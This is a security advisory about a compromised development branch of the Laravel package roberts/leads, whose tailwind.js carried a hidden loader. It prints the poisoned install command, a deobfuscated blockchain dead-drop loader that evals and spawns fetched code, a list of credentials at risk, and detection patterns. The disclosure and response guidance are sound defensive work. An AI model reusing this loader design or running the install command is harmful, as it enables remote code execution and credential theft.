high

CVE

Not assigned

CWE

CWE-506, CWE-94, CWE-829

Affected Surface

roberts/leads Packagist dev version dev-drewroberts/feature/test-case, GitHub branch drewroberts/feature/test-case, tailwind.js at commit 6c5c3c7655ce76399af11126b7e9a9058eb2e45d, PHP/Laravel developer workstations and CI runners that installed or cloned the poisoned branch

Socket reported a targeted Packagist compromise affecting the legitimate Laravel package roberts/leads. The malicious artifact was not the stable release line. It was the installable Composer development version dev-drewroberts/feature/test-case, mapped to the GitHub branch drewroberts/feature/test-case.

That scoping matters. A random production dependency update is less likely to select this branch by accident. A fake job interview, onboarding task, or “please test this branch” request can make the exact install command look normal:

composer require roberts/leads:dev-drewroberts/feature/test-case

The affected package has reportedly been removed from Packagist, but hosts that installed it retain the local vendor copy, Composer cache, shell history, CI logs, and any secrets available while the loader ran.

Affected artifact

FieldValue
Composer packageroberts/leads
Affected Packagist versiondev-drewroberts/feature/test-case
GitHub branchdrewroberts/feature/test-case
Affected filetailwind.js
Observed commit6c5c3c7655ce76399af11126b7e9a9058eb2e45d
Reported archive SHA-256522b28a2f78771715497ba53729d4ab9a50e982322c391379f3bddf7c8cb363f
Reported tailwind.js SHA-25696afdba882046385242cbed46871e41147c8055c5d9eff7460847b2c01a77dc3

Loader placement

The loader was appended after an otherwise ordinary Tailwind configuration. The suspicious behavior was not in composer.json; it was in JavaScript build configuration that PHP developers may review less carefully during a Composer-driven install.

The visible shape is:

module.exports = {
  purge: [],
  theme: {
    extend: {},
  },
  variants: {},
  plugins: [],
};

// Hidden far to the right after a large whitespace gap:
global["!"] = "9-0264-2";
var _$_1e42 = "...";

Anything after the closing }; is outside the Tailwind configuration. In this case, the appended code reconstructed Node.js internals, decoded strings at runtime, reached public blockchain infrastructure, decrypted remote data with hardcoded XOR keys, and executed the result.

Blockchain dead-drop execution

The deobfuscated control flow reported by Socket can be reduced to this pattern:

async function resolvePayload(xorKey, tronWallet, aptosAddress) {
  let txHash;

  try {
    const tx = await getJson(
      `https://api.trongrid.io/v1/accounts/${tronWallet}/transactions?only_confirmed=true&only_from=true&limit=1`
    );
    txHash = Buffer.from(tx.data[0].raw_data.data, "hex")
      .toString("utf8")
      .split("")
      .reverse()
      .join("");
  } catch {
    const fallback = await getJson(
      `https://fullnode.mainnet.aptoslabs.com/v1/accounts/${aptosAddress}/transactions?limit=1`
    );
    txHash = fallback[0].payload.arguments[0];
  }

  const encrypted = await getBscTransactionInput(txHash);
  return xorDecrypt(encrypted, xorKey);
}

const firstStage = await resolvePayload(key1, tronWallet1, aptosFallback1);
eval(firstStage);

const secondStage = await resolvePayload(key2, tronWallet2, aptosFallback2);
require("child_process").spawn("node", ["-e", secondStage], {
  detached: true,
  stdio: "ignore",
  windowsHide: true
});

This design avoids a fixed malware domain. The local package only needs to know how to query public RPC services and derive executable JavaScript from transaction data. If the actor changes what a transaction points to, the package behavior can change without a new package publish.

Why this is an application-security issue

The local loader is a remote-code execution primitive inside the developer’s Node.js process. From there, the fetched stage can read the same material a build tool can read:

process.env
.env and .env.local
SSH private keys
Composer credentials
npm tokens
Git remotes and credentials
cloud provider credentials
CI job tokens
application source code

That makes the blast radius broader than one PHP package. A single developer task can expose the credentials needed to push code, publish packages, deploy infrastructure, or access production data.

Detection

Hunt for the affected dependency and for the loader indicators in source trees, Composer caches, and CI workspaces:

rg -n \
  "roberts/leads|dev-drewroberts/feature/test-case|drewroberts/feature/test-case|global\\['!'\\]|_\\$_1e42|trongrid|aptoslabs|bsc-dataseed|eth_getTransactionByHash|windowsHide" \
  .

Network telemetry during builds is also useful. A PHP project build that starts node, contacts TRON or Aptos RPC APIs, then spawns node -e should be treated as malicious until proven otherwise.

Response

If the affected dev branch ran on a developer workstation or CI runner:

  • Remove roberts/leads:dev-drewroberts/feature/test-case and purge Composer caches containing the branch.
  • Rebuild affected CI runners from clean images instead of only deleting the vendor directory.
  • Rotate credentials reachable from the process environment: GitHub, GitLab, Bitbucket, Composer, npm, cloud, database, SSH, and deployment tokens.
  • Review Git remotes, branch protections, deploy keys, OAuth apps, and recently created personal access tokens.
  • Block unreviewed dev-* Composer constraints in CI unless they are pinned to an audited commit SHA.

The narrow branch targeting is the point: defenders should treat unfamiliar developer instructions as code execution, even when the repository and maintainer name look legitimate.

References